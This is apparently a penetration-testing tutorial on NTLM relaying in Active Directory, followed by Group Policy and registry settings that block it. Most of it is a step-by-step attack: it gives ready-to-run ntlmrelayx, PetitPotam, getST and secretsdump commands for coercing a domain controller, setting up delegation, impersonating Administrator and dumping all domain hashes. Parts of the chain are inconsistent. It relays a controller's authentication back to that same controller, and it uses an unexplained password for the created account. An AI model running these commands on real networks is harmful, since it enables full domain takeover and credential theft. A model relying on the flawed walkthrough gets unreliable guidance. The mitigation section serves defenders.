Hands-On NTLM Relaying: From RPC Coercion to Domain Admin

Active Directory’s lingering reliance on legacy NTLM authentication isn’t just a compliance nuisance—it remains the most reliable path to full domain compromise in enterprise environments. While defenders focus on complex password policies, an attacker with network positioning can simply stand between two machines, capture an NTLM authentication request, and relay those credentials to a high-value service.

Relaying works because NTLM is a challenge-response protocol that does not inherently bind the authentication exchange to the underlying transport channel. If you can force a domain controller or privileged server to talk to you, you can pass its credentials right along to LDAP or SMB and act with its permissions.

Here is how to execute this attack end-to-end, what it gives you, and the precise configuration changes that shut it down permanently.

Catching and Passing Credentials with ntlmrelayx

The engine of any NTLM relay attack is Impacket’s ntlmrelayx. Before coercing a remote server to authenticate, you must set up the relay listener to handle incoming requests and negotiate authentication with the target server.

For maximum impact, target LDAPS (LDAP over TLS) on a Domain Controller. Relaying to LDAPS allows you to modify Active Directory objects directly, such as creating new machine accounts or configuring Resource-Based Constrained Delegation (RBCD).

Run ntlmrelayx with the following syntax:

python3 ntlmrelayx.py -t ldaps://10.10.10.10 --delegate-access -smb2support

Here is what these flags do:

• -t ldaps://10.10.10.10: Directs the relayed credentials to the Domain Controller at 10.10.10.10 over secure LDAP.
• --delegate-access: Tells ntlmrelayx to attempt an RBCD attack if the relayed account has sufficient rights to write to AD attributes.
• -smb2support: Ensures incoming SMB2/SMB3 connections from modern Windows hosts are handled correctly.

If you are targeting a member server without SMB signing rather than LDAP, you can instead point to SMB and execute commands or dump local SAM hashes:

python3 ntlmrelayx.py -t smb://10.10.10.20 -c "whoami /priv" -smb2support

Once ntlmrelayx is running, it waits for an incoming NTLM authentication exchange on port 445 or 80.

Coercing Authentication via RPC

Waiting for a user to naturally interact with your listener is slow and unreliable. Instead, force the target server to authenticate to your listening host immediately using unauthenticated RPC calls.

The MS-EFSR (Encrypting File System Remote Protocol) interface, popularized by the PetitPotam exploit, allows an unauthenticated user to compel a target server to initiate an NTLM authentication attempt over SMB to any IP address of the attacker’s choosing.

Execute PetitPotam against the target Domain Controller, instructing it to connect back to your listener IP:

python3 PetitPotam.py 10.10.10.50 10.10.10.10

Where 10.10.10.50 is your attacker machine running ntlmrelayx, and 10.10.10.10 is the target Domain Controller (DC01).

If MS-EFSR is patched or blocked, alternative coercion mechanisms like PrinterBug (MS-RPRN) or DFSCoerce (MS-DFSN) achieve the exact same result using different RPC interfaces. The core operational reality remains unchanged: Windows servers will happily authenticate outward when asked politely via RPC.

The Payoff: What Success Looks Like

When PetitPotam triggers, DC01$ sends an NTLM AUTHENTICATE_MESSAGE to your attacker machine (10.10.10.50). ntlmrelayx intercept this challenge, forwards it to the target LDAPS server (10.10.10.10), and completes the handshake using DC01$’s computer account identity.

Upon a successful relay to LDAPS with --delegate-access, ntlmrelayx performs the following automated steps:

1. Creates a new fake computer account in the domain (e.g., NEW_COMPUTER$).
2. Modifies the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the victim machine object (DC01$), granting NEW_COMPUTER$ permission to impersonate users against DC01$.

From here, complete takeover of the target server requires only two standard Impacket commands:

Get a Kerberos Service Ticket (ST) for an arbitrary domain admin (such as Administrator) impersonating them on DC01:

python3 getST.py -spn cifs/dc01.domain.local domain.local/NEW_COMPUTER$:Password123! -impersonate Administrator

Export the generated Administrator.ccache ticket to your environment variable and execute a DCSync to dump all domain hashes:

export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass dc01.domain.local -just-dc

At this point, you have full administrative control of the Active Directory domain.

The Two GPOs That Neutralize NTLM Relaying

Disabling NTLM entirely across a legacy enterprise network often requires months of auditing and service dependency mapping. However, you do not need to fully eliminate NTLM to render NTLM relaying useless. Enforcing two specific Group Policy settings kills SMB-to-SMB and SMB-to-LDAP relaying outright.

1. Require SMB Signing (Stops SMB Relaying)

SMB signing appends a cryptographic signature to every packet using the session key established during authentication. An attacker in the middle cannot modify or relay packets without invalidating the signature.

Configure this policy across all servers and workstations:

• GPO Path: Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options
• Setting: Microsoft network server: Digitally sign communications (always)
• Value: Enabled

Ensure that the corresponding client setting (Microsoft network client: Digitally sign communications (always)) is also enabled to enforce bi-directional SMB signing.

2. Require LDAP Signing and Channel Binding (Stops LDAP Relaying)

Relaying to LDAP/LDAPS succeeds when the server accepts relayed NTLM tokens over TLS without validating that the TLS channel belongs to the client attempting authentication. Channel Binding Tokens (CBT) tie the NTLM authentication handshake directly to the outer TLS session.

Configure these two policies on all Domain Controllers:

Require LDAP Signing:

• GPO Path: Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options
• Setting: Domain controller: LDAP server signing requirements
• Value: Require signing

Enforce LDAP Channel Binding:

• GPO Path: Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options
• Setting: Domain controller: LDAP server channel binding token requirements
• Value: Always

Alternatively, set the channel binding registry key directly on your Domain Controllers:

• Registry Path: HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
• DWORD: LdapEnforceChannelBinding
• Value: 2 (where 0 = Disabled, 1 = When supported, 2 = Always)

With SMB signing set to Always and LDAP Channel Binding enforced, relaying attempts fail immediately at the protocol level—regardless of whether RPC coercion vulnerabilities exist on your endpoints.